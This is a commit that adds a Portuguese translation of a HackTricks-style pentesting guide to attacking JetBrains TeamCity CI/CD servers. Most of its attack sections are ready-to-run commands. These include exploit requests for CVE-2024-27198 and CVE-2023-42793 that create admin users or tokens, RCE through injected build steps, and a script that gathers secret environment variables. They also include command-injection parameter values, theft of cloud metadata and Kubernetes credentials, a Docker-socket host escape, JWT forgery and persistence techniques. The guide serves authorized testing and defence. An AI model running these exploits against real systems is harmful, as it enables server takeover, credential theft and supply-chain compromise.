mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2026-07-28 14:47:17 -07:00
Translated ['src/pentesting-ci-cd/teamcity-security/README.md'] to pt
This commit is contained in:
@@ -0,0 +1,650 @@
|
||||
# TeamCity Security
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## Basic Information
|
||||
|
||||
[TeamCity](https://www.jetbrains.com/teamcity/) é o servidor CI/CD da JetBrains. Ele pode rodar como **TeamCity Cloud** ou como **TeamCity On-Premises**. Em ambientes reais, o produto on-premises é o alvo mais interessante porque normalmente está conectado a repositórios privados, credenciais de deployment, redes internas e cloud build agents.
|
||||
|
||||
Uma instalação do TeamCity normalmente é composta por:
|
||||
|
||||
- **TeamCity server**: a aplicação web Java e scheduler. Ele armazena usuários, permissões, projects, build configurations, VCS roots, tokens, metadados de artifacts, build history e integrações. A porta HTTP padrão é **8111**.
|
||||
- **Projects and subprojects**: contêineres para build configurations, templates, parameters, VCS roots, connections e permissões.
|
||||
- **Build configurations**: jobs que definem regras de checkout do VCS, triggers, build steps, requisitos de agent, artifact rules, snapshot dependencies e artifact dependencies.
|
||||
- **Pipelines / Kotlin DSL / XML settings**: a build configuration pode ser gerenciada na UI ou armazenada no VCS, comumente em um diretório `.teamcity/` usando Kotlin DSL.
|
||||
- **Build agents**: máquinas worker que consultam o server, fazem checkout do código, recebem build settings e secrets, executam build steps e publicam logs/artifacts de volta para o server. Um agent normalmente executa um build por vez e pode ser físico, VM, container ou iniciado na cloud.
|
||||
- **Agent pools**: uma forma de restringir quais projects podem rodar em quais agents. Isso é crítico quando builds públicos/não confiáveis e builds de deployment de produção coexistem.
|
||||
- **VCS roots and connections**: GitHub, GitLab, Bitbucket, Azure DevOps, Perforce, Subversion e outras integrações de repositório. Elas frequentemente guardam PATs, refreshable tokens, SSH keys ou tokens com base em OAuth.
|
||||
- **Build parameters**: valores disponíveis para configurations e builds. Parâmetros `env.*` viram variáveis de ambiente, parâmetros `system.*` viram system properties, e parâmetros de senha são mascarados, mas ainda podem ser usados pelo código do build.
|
||||
|
||||
> [!WARNING]
|
||||
> O próprio TeamCity documenta que usuários que podem alterar código executado por builds podem fazer o que o usuário OS do build-agent pode fazer, acessar recursos no agent, recuperar settings das configurations onde seus builds rodam e, potencialmente, afetar outros projects que compartilham o mesmo agent.
|
||||
|
||||
## Interesting Ports, Paths & Files
|
||||
```bash
|
||||
# Common TeamCity web ports
|
||||
8111/tcp # Default HTTP TeamCity server
|
||||
80/tcp # Often reverse-proxied TeamCity
|
||||
443/tcp # HTTPS reverse proxy or configured HTTPS
|
||||
```
|
||||
URLs interessantes:
|
||||
```text
|
||||
/login.html
|
||||
/app/rest/server
|
||||
/app/rest/swagger.json
|
||||
/guestAuth/app/rest/server
|
||||
/guestAuth/repository/download/<BuildConfig>/<BuildID>:id/<artifact>
|
||||
/admin/admin.html
|
||||
/admin/diagnostic.jsp
|
||||
/admin/agents.html
|
||||
/admin/plugins.html
|
||||
```
|
||||
Caminhos locais interessantes após comprometimento do servidor:
|
||||
```text
|
||||
# Linux defaults seen in common installs
|
||||
/opt/TeamCity/logs/
|
||||
/opt/TeamCity/webapps/ROOT/plugins/
|
||||
/home/teamcity/.BuildServer/config/
|
||||
/home/teamcity/.BuildServer/plugins/
|
||||
/home/teamcity/.BuildServer/system/artifacts/
|
||||
/home/teamcity/.BuildServer/system/buildserver.data
|
||||
|
||||
# Windows defaults seen in common installs
|
||||
C:\TeamCity\logs\
|
||||
C:\TeamCity\webapps\ROOT\plugins\
|
||||
C:\ProgramData\JetBrains\TeamCity\config\
|
||||
C:\ProgramData\JetBrains\TeamCity\plugins\
|
||||
C:\ProgramData\JetBrains\TeamCity\system\artifacts\
|
||||
C:\ProgramData\JetBrains\TeamCity\system\buildserver.data
|
||||
```
|
||||
Caminhos locais interessantes após a compromise do agent:
|
||||
```text
|
||||
<AGENT_HOME>/conf/buildAgent.properties
|
||||
<AGENT_HOME>/logs/
|
||||
<AGENT_HOME>/work/
|
||||
<AGENT_HOME>/temp/
|
||||
<AGENT_HOME>/system/
|
||||
~/.git-credentials
|
||||
~/.ssh/
|
||||
~/.docker/config.json
|
||||
~/.npmrc
|
||||
~/.m2/settings.xml
|
||||
~/.aws/
|
||||
~/.config/gcloud/
|
||||
```
|
||||
## Permissões do TeamCity com as Quais se Importar
|
||||
|
||||
O modelo exato de permissões pode ser customizado, mas as funções padrão importantes são:
|
||||
|
||||
- **System Administrator**: controle total do servidor. Assuma que o comprometimento do OS do servidor é possível porque admins podem alterar configurações do servidor, fazer upload de plugins e acessar diagnostics.
|
||||
- **Project Administrator**: controla um projeto e normalmente pode criar/editar build configurations, parameters, VCS roots, features, triggers e agent requirements dentro desse projeto.
|
||||
- **Project Developer**: normalmente pode ver configurações, executar builds e interagir com os resultados dos builds. Isso ainda pode ser sensível porque configurações e dados em runtime frequentemente revelam secrets.
|
||||
- **Project Viewer / Guest**: acesso somente leitura ainda pode expor build logs, artifacts, nomes de projetos, nomes de branches, hostnames internos e paths de dependências.
|
||||
|
||||
> [!TIP]
|
||||
> Durante um pentest, não pare em "low-privileged TeamCity user". Verifique se esse user pode executar custom builds, selecionar branches, customizar parameters, ver settings, ver runtime parameters, fazer download de artifacts ou disparar configurações de deployment.
|
||||
|
||||
## Enumeração Inicial
|
||||
|
||||
### Fingerprint Exposed TeamCity
|
||||
```bash
|
||||
export TC="http://teamcity.example.com:8111"
|
||||
|
||||
curl -i "$TC/login.html"
|
||||
curl -i "$TC/app/rest/server"
|
||||
curl -i "$TC/guestAuth/app/rest/server"
|
||||
curl -s "$TC/app/rest/swagger.json" | head
|
||||
```
|
||||
Sinais úteis:
|
||||
|
||||
- `TeamCity-Node-Id` HTTP header.
|
||||
- branding da página de login.
|
||||
- `/app/rest/server` retorna `401` quando a autenticação é necessária.
|
||||
- `/guestAuth/app/rest/server` funciona se o guest access estiver habilitado.
|
||||
|
||||
### REST API Enumeration With A Token
|
||||
|
||||
A TeamCity REST API geralmente usa `Authorization: Bearer <token>`.
|
||||
```bash
|
||||
export TC="https://teamcity.example.com"
|
||||
export TCTOKEN="TC..."
|
||||
|
||||
alias tcurl='curl -sk -H "Authorization: Bearer $TCTOKEN" -H "Accept: application/json"'
|
||||
|
||||
tcurl "$TC/app/rest/server"
|
||||
tcurl "$TC/app/rest/users/current"
|
||||
tcurl "$TC/app/rest/users/current/roles"
|
||||
tcurl "$TC/app/rest/projects?fields=project(id,name,parentProjectId,href,webUrl)"
|
||||
tcurl "$TC/app/rest/buildTypes?fields=buildType(id,name,projectId,paused,webUrl)"
|
||||
tcurl "$TC/app/rest/vcs-roots?fields=vcs-root(id,name,vcsName,project(id,name),properties(property(name,value)))"
|
||||
tcurl "$TC/app/rest/agents?fields=agent(id,name,type,connected,enabled,authorized,ip,href,pool(name),properties(property(name,value)))"
|
||||
tcurl "$TC/app/rest/agentPools"
|
||||
tcurl "$TC/app/rest/builds?locator=count:20&fields=build(id,number,status,state,branchName,buildTypeId,webUrl)"
|
||||
```
|
||||
Para uma configuração de build:
|
||||
```bash
|
||||
export BT="id:Project_Build"
|
||||
|
||||
tcurl "$TC/app/rest/buildTypes/$BT"
|
||||
tcurl "$TC/app/rest/buildTypes/$BT/parameters"
|
||||
tcurl "$TC/app/rest/buildTypes/$BT/steps"
|
||||
tcurl "$TC/app/rest/buildTypes/$BT/features"
|
||||
tcurl "$TC/app/rest/buildTypes/$BT/triggers"
|
||||
tcurl "$TC/app/rest/buildTypes/$BT/agent-requirements"
|
||||
tcurl "$TC/app/rest/buildTypes/$BT/snapshot-dependencies"
|
||||
tcurl "$TC/app/rest/buildTypes/$BT/artifact-dependencies"
|
||||
tcurl "$TC/app/rest/buildTypes/$BT/compatibleAgents"
|
||||
```
|
||||
### Abuso de Guest Access
|
||||
|
||||
Se o guest login estiver habilitado, o TeamCity suporta URLs `/guestAuth/`. Por padrão, usuários guest têm a função Project Viewer para todos os projetos, a menos que isso seja alterado.
|
||||
```bash
|
||||
curl -sk "$TC/guestAuth/app/rest/projects"
|
||||
curl -sk "$TC/guestAuth/app/rest/buildTypes"
|
||||
curl -sk "$TC/guestAuth/app/rest/builds?locator=count:50"
|
||||
```
|
||||
Procure por:
|
||||
|
||||
- Build logs com secrets impressos acidentalmente.
|
||||
- Artifacts contendo `.env`, packages, SBOMs, deployment manifests, Terraform plans, kubeconfigs, test reports, database dumps ou internal URLs.
|
||||
- Nomes de project/build que revelem nomes de cloud account, production systems, regions ou internal service names.
|
||||
- Metadados de commit que identifiquem privileged developers ou service users.
|
||||
|
||||
Formato de download de artifact de exemplo:
|
||||
```bash
|
||||
curl -O "$TC/guestAuth/repository/download/Project_Build/12345:id/artifact.zip"
|
||||
```
|
||||
## Ataques
|
||||
|
||||
### Takeover sem autenticação: CVE-2024-27198 / CVE-2024-27199
|
||||
|
||||
Versões TeamCity On-Premises **até 2023.11.3** foram afetadas por dois authentication bypasses corrigidos em **2023.11.4**. CVE-2024-27198 é o mais crítico porque pode expor authenticated REST endpoints a atacantes sem autenticação.
|
||||
|
||||
Fingerprint o bypass com um endpoint autenticado inofensivo:
|
||||
```bash
|
||||
curl -ik "$TC/hax?jsp=/app/rest/server;.jsp"
|
||||
```
|
||||
Se os metadados do servidor forem retornados sem autenticação, a instância é vulnerável. Um caminho comum de takeover é criar um usuário admin ou gerar um token para um usuário admin existente:
|
||||
```bash
|
||||
curl -ik "$TC/hax?jsp=/app/rest/users;.jsp" \
|
||||
-X POST \
|
||||
-H "Content-Type: application/json" \
|
||||
--data '{"username":"tc-redteam","password":"ChangeMe-12345!","email":"tc-redteam@example.com","roles":{"role":[{"roleId":"SYSTEM_ADMIN","scope":"g"}]}}'
|
||||
```
|
||||
|
||||
```bash
|
||||
curl -ik "$TC/hax?jsp=/app/rest/users/id:1/tokens/RedTeamToken;.jsp" -X POST
|
||||
```
|
||||
Depois disso, continue como um administrador autenticado do TeamCity: enumere projetos, colete secrets, execute builds nos agents, inspecione artifacts e verifique o acesso à cloud a partir dos agents.
|
||||
|
||||
### Unauthenticated Takeover: CVE-2023-42793
|
||||
|
||||
As versões TeamCity On-Premises anteriores a **2023.05.4** foram afetadas pela CVE-2023-42793. O impacto prático foi acesso não autenticado em nível de administrator e RCE por meio das TeamCity APIs. O caminho amplamente abusado envolvia a criação de token por meio de uma rota que terminava em `/RPC2`.
|
||||
```bash
|
||||
curl -ik -X POST "$TC/app/rest/users/id:1/tokens/RPC2"
|
||||
```
|
||||
Se você estiver avaliando o impacto do incidente, verifique a criação suspeita de tokens, a criação de contas admin, eventos de upload/delete de plugins e a execução de processos ao redor da janela de exposição.
|
||||
|
||||
### Admin RCE Ao Fazer Upload De Um Plugin
|
||||
|
||||
Plugins do servidor TeamCity são pacotes ZIP que estendem a funcionalidade do servidor. Um System Administrator pode fazer upload de um plugin pela UI em **Administration -> Plugins**, carregá-lo e executar código Java no lado do servidor.
|
||||
|
||||
Casos de abuso:
|
||||
|
||||
- Fazer upload de um plugin malicioso para RCE direta no **TeamCity server**, não apenas em um agent.
|
||||
- Usar plugin load/delete como um caminho de execução de curta duração.
|
||||
- Estabelecer persistence por meio de um plugin que pareça uma integração interna.
|
||||
|
||||
Evidências para inspecionar:
|
||||
```text
|
||||
teamcity-activities.log
|
||||
teamcity-server.log
|
||||
<TeamCity Data Directory>/plugins/
|
||||
<TeamCity Data Directory>/config/disabled-plugins.xml
|
||||
<TeamCity Data Directory>/system/caches/plugins.unpacked/
|
||||
<TeamCity Home>/webapps/ROOT/plugins/
|
||||
```
|
||||
### RCE Ao Criar Ou Modificar Build Steps
|
||||
|
||||
Se você puder criar ou editar uma build configuration, um TeamCity agent é seu target de command execution. O runner **Command Line / Script** é a opção mais direta.
|
||||
|
||||
Adicione um command line step via REST:
|
||||
```bash
|
||||
curl -sk "$TC/app/rest/buildTypes/$BT/steps" \
|
||||
-X POST \
|
||||
-H "Authorization: Bearer $TCTOKEN" \
|
||||
-H "Content-Type: application/json" \
|
||||
-H "Accept: application/json" \
|
||||
--data '{
|
||||
"name": "diagnostics",
|
||||
"type": "simpleRunner",
|
||||
"properties": {
|
||||
"property": [
|
||||
{"name": "script.content", "value": "id; uname -a; env | sort"}
|
||||
]
|
||||
}
|
||||
}'
|
||||
```
|
||||
Comece o build:
|
||||
```bash
|
||||
curl -sk "$TC/app/rest/buildQueue" \
|
||||
-X POST \
|
||||
-H "Authorization: Bearer $TCTOKEN" \
|
||||
-H "Content-Type: application/json" \
|
||||
-H "Accept: application/json" \
|
||||
--data '{"buildType":{"id":"Project_Build"}}'
|
||||
```
|
||||
Comandos iniciais úteis em um agent:
|
||||
```bash
|
||||
id
|
||||
hostname
|
||||
pwd
|
||||
env | sort
|
||||
mount
|
||||
ip addr || ifconfig
|
||||
ip route || route print
|
||||
find "$PWD" -maxdepth 3 -type f -name "*.env" -o -name "settings.xml" -o -name "config.json"
|
||||
```
|
||||
Agentes Windows:
|
||||
```powershell
|
||||
whoami /all
|
||||
hostname
|
||||
Get-ChildItem Env: | Sort-Object Name
|
||||
ipconfig /all
|
||||
route print
|
||||
Get-ChildItem -Recurse -Force $env:USERPROFILE\.ssh,$env:USERPROFILE\.aws -ErrorAction SilentlyContinue
|
||||
```
|
||||
### Visar um Agente Mais Interessante
|
||||
|
||||
Build configurations podem ter agent requirements, e custom builds podem permitir selecionar um agent específico. Isso importa quando um agent tem reachability de rede de produção, acesso a Docker, mobile signing keys, cloud roles, ou deployment tooling.
|
||||
|
||||
Enumere agents compatíveis:
|
||||
```bash
|
||||
tcurl "$TC/app/rest/buildTypes/$BT/compatibleAgents?fields=agent(id,name,ip,pool(name),properties(property(name,value)))"
|
||||
```
|
||||
Dispare uma build em um agente específico se suas permissões permitirem:
|
||||
```bash
|
||||
curl -sk "$TC/app/rest/buildQueue" \
|
||||
-X POST \
|
||||
-H "Authorization: Bearer $TCTOKEN" \
|
||||
-H "Content-Type: application/json" \
|
||||
-H "Accept: application/json" \
|
||||
--data '{"buildType":{"id":"Project_Build"},"agent":{"id":"42"}}'
|
||||
```
|
||||
Ou adicione um requisito de agent para forçar uma classe de agent valiosa:
|
||||
```bash
|
||||
curl -sk "$TC/app/rest/buildTypes/$BT/agent-requirements" \
|
||||
-X POST \
|
||||
-H "Authorization: Bearer $TCTOKEN" \
|
||||
-H "Content-Type: application/json" \
|
||||
-H "Accept: application/json" \
|
||||
--data '{
|
||||
"type":"equals",
|
||||
"properties":{"property":[
|
||||
{"name":"property-name","value":"teamcity.agent.name"},
|
||||
{"name":"property-value","value":"prod-deploy-agent-01"}
|
||||
]}
|
||||
}'
|
||||
```
|
||||
### Dump Build Parameters & Password Parameters
|
||||
|
||||
Os parâmetros são herdados de projetos e templates, então enumere tanto os escopos de projeto quanto de build configuration:
|
||||
```bash
|
||||
tcurl "$TC/app/rest/projects/id:Project/parameters"
|
||||
tcurl "$TC/app/rest/buildTypes/id:Project_Build/parameters"
|
||||
```
|
||||
Nomes interessantes:
|
||||
```text
|
||||
env.AWS_ACCESS_KEY_ID
|
||||
env.AWS_SECRET_ACCESS_KEY
|
||||
env.GITHUB_TOKEN
|
||||
env.NPM_TOKEN
|
||||
env.DOCKER_AUTH_CONFIG
|
||||
system.deploy.password
|
||||
system.oauth.clientSecret
|
||||
vcsroot.<id>.password
|
||||
teamcity.configuration.properties.file
|
||||
```
|
||||
Caveats importantes:
|
||||
|
||||
- Parâmetros de senha são mascarados na UI/logs, mas qualquer código que os receba legitimamente pode exfiltrá-los ou transformá-los.
|
||||
- Administradores de projeto podem frequentemente recuperar valores brutos de parâmetros por meio do acesso às configurações.
|
||||
- As notas de segurança do TeamCity alertam que usuários que podem modificar o código de build podem recuperar valores de senha usados por esse build.
|
||||
- Se as configurações versionadas estiverem armazenadas em VCS, usuários com acesso ao repo de configurações podem recuperar valores de configurações scrambled/encrypted dependendo da configuração de encryption do servidor e da exposição da key.
|
||||
|
||||
Padrão de exfiltração de build-step:
|
||||
```bash
|
||||
python3 - <<'PY'
|
||||
import base64, os, json
|
||||
interesting = {k:v for k,v in os.environ.items() if any(x in k.upper() for x in ["TOKEN","SECRET","PASSWORD","KEY","AWS","AZURE","GOOGLE","GITHUB","NPM","DOCKER"])}
|
||||
print(base64.b64encode(json.dumps(interesting).encode()).decode())
|
||||
PY
|
||||
```
|
||||
### Poison Versioned Settings / Kotlin DSL
|
||||
|
||||
Se versioned settings estiverem habilitadas e você puder escrever no branch/repository em que o TeamCity confia para `.teamcity/`, você pode modificar a própria definição do pipeline.
|
||||
|
||||
Alvos típicos:
|
||||
|
||||
- Adicionar uma nova etapa `script` a uma build configuration.
|
||||
- Alterar `agentRequirements` para executar em um agente com mais privilégios.
|
||||
- Adicionar artifact rules para publicar arquivos sensíveis.
|
||||
- Adicionar snapshot/artifact dependencies para puxar dados de outra build.
|
||||
- Adicionar VCS triggers para persistence.
|
||||
- Alterar VCS roots ou checkout rules.
|
||||
|
||||
Etapa maliciosa mínima em Kotlin DSL:
|
||||
```kotlin
|
||||
import jetbrains.buildServer.configs.kotlin.*
|
||||
import jetbrains.buildServer.configs.kotlin.buildSteps.script
|
||||
|
||||
object Build : BuildType({
|
||||
name = "Build"
|
||||
steps {
|
||||
script {
|
||||
name = "diagnostics"
|
||||
scriptContent = "id; env | base64"
|
||||
}
|
||||
}
|
||||
})
|
||||
```
|
||||
> [!CAUTION]
|
||||
> Esta é uma das misconfigurations de TeamCity de maior impacto: armazenar as build settings no mesmo repository que o application source significa que qualquer pessoa que possa alterar esse source branch pode ser capaz de alterar o CI/CD control plane.
|
||||
|
||||
### Pull Request / Untrusted Build Abuse
|
||||
|
||||
TeamCity pode build pull requests do GitHub, GitLab, Bitbucket, Azure DevOps e JetBrains Space. Se um public repository estiver configurado para build pull requests de **Everybody**, um external attacker pode conseguir code execution em um TeamCity agent ao abrir um PR.
|
||||
|
||||
Verifique:
|
||||
|
||||
- Pull Requests build feature com permissive author filters.
|
||||
- VCS triggers correspondendo a branches de pull request como `refs/pull/*`.
|
||||
- **Untrusted Builds** review ausente ou desabilitado.
|
||||
- PR builds executando nos mesmos pools que trusted/prod builds.
|
||||
- Password parameters ou deployment credentials disponíveis para PR builds.
|
||||
- Versioned settings carregadas de PR branches.
|
||||
|
||||
Abuse primitives de untrusted code:
|
||||
```bash
|
||||
env | sort
|
||||
echo "##teamcity[publishArtifacts '$PWD => workspace.zip']"
|
||||
echo "##teamcity[setParameter name='env.PATH' value='/tmp/bin:%env.PATH%']"
|
||||
```
|
||||
Também revise scripts de build que interpolam valores controlados por PR:
|
||||
```text
|
||||
%teamcity.pullRequest.title%
|
||||
%teamcity.pullRequest.source.branch%
|
||||
%teamcity.pullRequest.target.branch%
|
||||
%teamcity.build.branch%
|
||||
```
|
||||
Se esses valores forem inseridos em shell, PowerShell, SQL, Docker tags, package names, ou deployment arguments sem quoting/validation, teste command injection e logic manipulation.
|
||||
|
||||
### Run Custom Build Parameter Injection
|
||||
|
||||
Users que não podem editar uma build configuration ainda podem conseguir executar custom builds com modified branch, agent, ou parameter values.
|
||||
```bash
|
||||
curl -sk "$TC/app/rest/buildQueue" \
|
||||
-X POST \
|
||||
-H "Authorization: Bearer $TCTOKEN" \
|
||||
-H "Content-Type: application/json" \
|
||||
-H "Accept: application/json" \
|
||||
--data '{
|
||||
"buildType":{"id":"Project_Build"},
|
||||
"branchName":"refs/heads/attacker-controlled-branch",
|
||||
"properties":{"property":[
|
||||
{"name":"env.DEPLOY_ENV","value":"prod; id #"},
|
||||
{"name":"system.release.version","value":"1.2.3$(id)"}
|
||||
]}
|
||||
}'
|
||||
```
|
||||
Procure por scripts como:
|
||||
```bash
|
||||
deploy --env %env.DEPLOY_ENV%
|
||||
docker build -t registry/app:%system.release.version% .
|
||||
git checkout %teamcity.build.branch%
|
||||
```
|
||||
### Abuso de Service Message
|
||||
|
||||
TeamCity analisa output com formatação especial de build steps. Se código controlado por um atacante executar em um build, ele pode influenciar os passos seguintes e a interpretação do build pelo servidor.
|
||||
|
||||
Mensagens úteis:
|
||||
```bash
|
||||
# Publish arbitrary files as artifacts
|
||||
echo "##teamcity[publishArtifacts '/etc/passwd => loot/system.txt']"
|
||||
|
||||
# Modify parameters for following steps
|
||||
echo "##teamcity[setParameter name='env.NEXT_STEP_FLAG' value='attacker-controlled']"
|
||||
|
||||
# Poison the build number displayed/published downstream
|
||||
echo "##teamcity[buildNumber '9999-backdoored']"
|
||||
|
||||
# Hide noisy output in collapsed blocks
|
||||
echo "##teamcity[blockOpened name='integration tests']"
|
||||
echo "##teamcity[blockClosed name='integration tests']"
|
||||
```
|
||||
Isso se torna mais perigoso quando jobs de release downstream confiam no status do build, número do build, tags, nomes de artifact ou parâmetros de output de um job upstream.
|
||||
|
||||
### Artifact & Dependency Poisoning
|
||||
|
||||
TeamCity build chains frequentemente movem artifacts entre builds. Se você conseguir influenciar um build upstream que publica artifacts consumidos por um build downstream privilegiado, tente poison:
|
||||
|
||||
- Pacotes JAR/WAR/NuGet/npm/PyPI.
|
||||
- Contextos de build do Docker.
|
||||
- Arquivos de Terraform plan.
|
||||
- Helm charts e manifestos do Kubernetes.
|
||||
- Arquivos SBOM/provenance.
|
||||
- Test fixtures ou código gerado consumidos por etapas posteriores.
|
||||
|
||||
Publique um artifact controlado a partir de um build:
|
||||
```bash
|
||||
mkdir -p out
|
||||
cp payload.jar out/app.jar
|
||||
echo "##teamcity[publishArtifacts 'out/** => release.zip']"
|
||||
```
|
||||
Então inspecione as dependências dos artefatos:
|
||||
```bash
|
||||
tcurl "$TC/app/rest/buildTypes/$BT/artifact-dependencies"
|
||||
tcurl "$TC/app/rest/buildTypes/$BT/snapshot-dependencies"
|
||||
```
|
||||
### Agent Cloud Pivoting
|
||||
|
||||
Se o agent roda em AWS, Azure, GCP, Kubernetes, ou em uma rede interna de VM, o build é um pivot point.
|
||||
|
||||
AWS IMDS:
|
||||
```bash
|
||||
TOKEN=$(curl -s -X PUT "http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metadata-token-ttl-seconds: 21600")
|
||||
curl -s -H "X-aws-ec2-metadata-token: $TOKEN" http://169.254.169.254/latest/meta-data/iam/security-credentials/
|
||||
ROLE=$(curl -s -H "X-aws-ec2-metadata-token: $TOKEN" http://169.254.169.254/latest/meta-data/iam/security-credentials/)
|
||||
curl -s -H "X-aws-ec2-metadata-token: $TOKEN" "http://169.254.169.254/latest/meta-data/iam/security-credentials/$ROLE"
|
||||
```
|
||||
Fallback se IMDSv1 for permitido:
|
||||
```bash
|
||||
ROLE=$(curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/)
|
||||
curl -s "http://169.254.169.254/latest/meta-data/iam/security-credentials/$ROLE"
|
||||
```
|
||||
Azure IMDS:
|
||||
```bash
|
||||
curl -s -H Metadata:true "http://169.254.169.254/metadata/instance?api-version=2021-02-01"
|
||||
curl -s -H Metadata:true "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/"
|
||||
```
|
||||
GCP metadata:
|
||||
```bash
|
||||
curl -s -H "Metadata-Flavor: Google" "http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/"
|
||||
SA=$(curl -s -H "Metadata-Flavor: Google" "http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/")
|
||||
curl -s -H "Metadata-Flavor: Google" "http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/${SA}token"
|
||||
```
|
||||
Kubernetes:
|
||||
```bash
|
||||
ls -la /var/run/secrets/kubernetes.io/serviceaccount/
|
||||
cat /var/run/secrets/kubernetes.io/serviceaccount/token
|
||||
cat /var/run/secrets/kubernetes.io/serviceaccount/namespace
|
||||
```
|
||||
Verificações de escape do Docker:
|
||||
```bash
|
||||
ls -la /var/run/docker.sock
|
||||
docker ps
|
||||
docker run --rm -it -v /:/host alpine chroot /host sh
|
||||
```
|
||||
### Pivotar para Serviços Internos
|
||||
|
||||
Agentes de build frequentemente têm reachability para package registries, artifact stores, deployment APIs, databases e internal admin panels.
|
||||
```bash
|
||||
for h in vault.service.consul nexus.internal registry.internal kube-api.internal grafana.internal; do
|
||||
echo "### $h"
|
||||
curl -sk --connect-timeout 2 "https://$h/" | head
|
||||
done
|
||||
```
|
||||
Depois de roubar um segredo compartilhado JWT/HMAC de parâmetros do TeamCity, cloud secret stores, artifacts ou arquivos do repo, forge tokens para weak internal services:
|
||||
```python
|
||||
import jwt, time
|
||||
secret = "leaked-hs256-secret"
|
||||
payload = {"sub":"admin","role":"admin","iat":int(time.time()),"exp":int(time.time())+3600}
|
||||
print(jwt.encode(payload, secret, algorithm="HS256"))
|
||||
```
|
||||
### VCS Root & Repository Credential Abuse
|
||||
|
||||
VCS roots e connections are often more valuable than TeamCity itself.
|
||||
|
||||
Look for:
|
||||
|
||||
- HTTP(S) VCS roots using username/password or PAT.
|
||||
- SSH private keys uploaded to TeamCity.
|
||||
- GitHub App / OAuth / refreshable token connections.
|
||||
- Commit Status Publisher tokens.
|
||||
- Pull Request feature tokens.
|
||||
- Build steps that write to repositories, tags, releases, packages, or workflow files.
|
||||
|
||||
REST enumeration:
|
||||
```bash
|
||||
tcurl "$TC/app/rest/vcs-roots?fields=vcs-root(id,name,vcsName,project(id,name),properties(property(name,value)))"
|
||||
tcurl "$TC/app/rest/projects/id:Project/features"
|
||||
```
|
||||
Impacto pós-comprometimento:
|
||||
|
||||
- Fazer push de commits/tags maliciosos para repositórios.
|
||||
- Mover release tags.
|
||||
- Publicar versões maliciosas de pacotes.
|
||||
- Ler repositórios privados aos quais o tester não tinha acesso originalmente.
|
||||
- Adicionar config de CI/CD para outra plataforma, como GitHub Actions.
|
||||
- Abrir/fundir PRs usando a service identity se ela tiver write access.
|
||||
|
||||
### Endpoints de Debug & Diagnostics
|
||||
|
||||
Algumas funcionalidades perigosas de debug são protegidas por permissões de admin e propriedades internas. Se habilitadas, podem expor o banco de dados do TeamCity ou a execução de processos.
|
||||
|
||||
Exemplo de configuração de consulta ao banco de dados:
|
||||
```properties
|
||||
rest.debug.database.allow.query.prefixes=select
|
||||
```
|
||||
Se isso estiver habilitado, um token de admin pode consultar dados internos:
|
||||
```bash
|
||||
curl -sk "$TC/app/rest/debug/database/query/SELECT+ID,USERNAME,PASSWORD+FROM+USERS" \
|
||||
-H "Authorization: Bearer $TCTOKEN"
|
||||
```
|
||||
Also inspecione se `/app/rest/debug/processes` está acessível para sua role. Trate qualquer debug endpoint habilitado como um potencial caminho direto de comprometimento do servidor.
|
||||
|
||||
### Agent-Server Trust & Rogue Agent Angles
|
||||
|
||||
Agents fazem polling no server e recebem build settings, repository sources, access credentials/keys, build logs e artifact data. Se a comunicação agent-to-server estiver em HTTP puro ou um attacker controlar o network path, secrets e source code podem ser expostos.
|
||||
|
||||
Check:
|
||||
```bash
|
||||
grep -i '^serverUrl=' <AGENT_HOME>/conf/buildAgent.properties
|
||||
grep -i 'authorizationToken\|name=' <AGENT_HOME>/conf/buildAgent.properties
|
||||
```
|
||||
Abuse paths:
|
||||
|
||||
- Comprometer um agent e inspecionar diretórios de trabalho de outros projetos se agents forem reutilizados.
|
||||
- Modificar o código-fonte checked-out ou dependências em cache para builds posteriores se clean checkout não for imposto.
|
||||
- Roubar o token/configuração de autorização do agent.
|
||||
- Registrar um rogue agent se você tiver permissões para autorizar project agents ou se admins autorizarem automaticamente novos agents.
|
||||
- Impersonar um agent existente a partir de um host comprometido.
|
||||
|
||||
### Logs, Artifacts & Data Directory As Secrets
|
||||
|
||||
As notas de segurança do TeamCity alertam explicitamente que o acesso de leitura ao TeamCity Data Directory, aos logs do server ou aos build artifacts pode expor secrets ou levar à escalada para administrator.
|
||||
|
||||
Um caminho específico de escalada é **Super User Access**: o TeamCity pode permitir login como um system administrator com um token gravado em `teamcity-server.log`. Se os logs forem enviados para uma plataforma de log com proteção fraca ou se forem legíveis por usuários do OS que não sejam admin, procure por tokens de super-user.
|
||||
|
||||
Hunt:
|
||||
```bash
|
||||
grep -RaiE "token|secret|password|authorization: bearer|aws_access_key|BEGIN .*PRIVATE KEY" /opt/TeamCity/logs 2>/dev/null
|
||||
grep -RaiE "token|secret|password|authorization: bearer|aws_access_key|BEGIN .*PRIVATE KEY" ~/.BuildServer/config ~/.BuildServer/system/artifacts 2>/dev/null
|
||||
```
|
||||
Logs de build frequentemente contêm:
|
||||
|
||||
- Linhas de comando expandidas.
|
||||
- Comandos de deployment falhados com credenciais em argumentos.
|
||||
- Saída de `docker login`.
|
||||
- Erros de publicação do `npm/pip/maven`.
|
||||
- Saída de debug de `cloud CLI`.
|
||||
- URLs internas de serviços.
|
||||
|
||||
### Persistence Ideas
|
||||
|
||||
Técnicas úteis de persistence durante uma avaliação red team autorizada:
|
||||
|
||||
- Criar um token de acesso com um nome plausível sob um usuário de serviço/admin.
|
||||
- Adicionar um trigger de build de baixo ruído a uma configuração raramente revisada.
|
||||
- Adicionar um parâmetro de projeto usado por uma etapa de deployment existente.
|
||||
- Adicionar uma build step oculta ou desativada que possa ser reativada depois.
|
||||
- Adicionar um novo VCS root ou connection sob um projeto legítimo.
|
||||
- Adicionar um plugin que se pareça com uma integração interna.
|
||||
- Adicionar um novo agent pool / cloud profile / agent requirement que direcione builds para infraestrutura controlada pelo atacante.
|
||||
- Modificar Kotlin DSL em um settings repository.
|
||||
|
||||
Coisas que os defenders devem revisar após um compromise do TeamCity:
|
||||
```text
|
||||
teamcity-activities.log
|
||||
teamcity-server.log
|
||||
teamcity-javaLogging*.log
|
||||
User access tokens
|
||||
Recently created users/groups/roles
|
||||
Plugin upload/load/delete events
|
||||
Build configuration diffs
|
||||
Versioned settings commits
|
||||
VCS root credential changes
|
||||
Agent authorization changes
|
||||
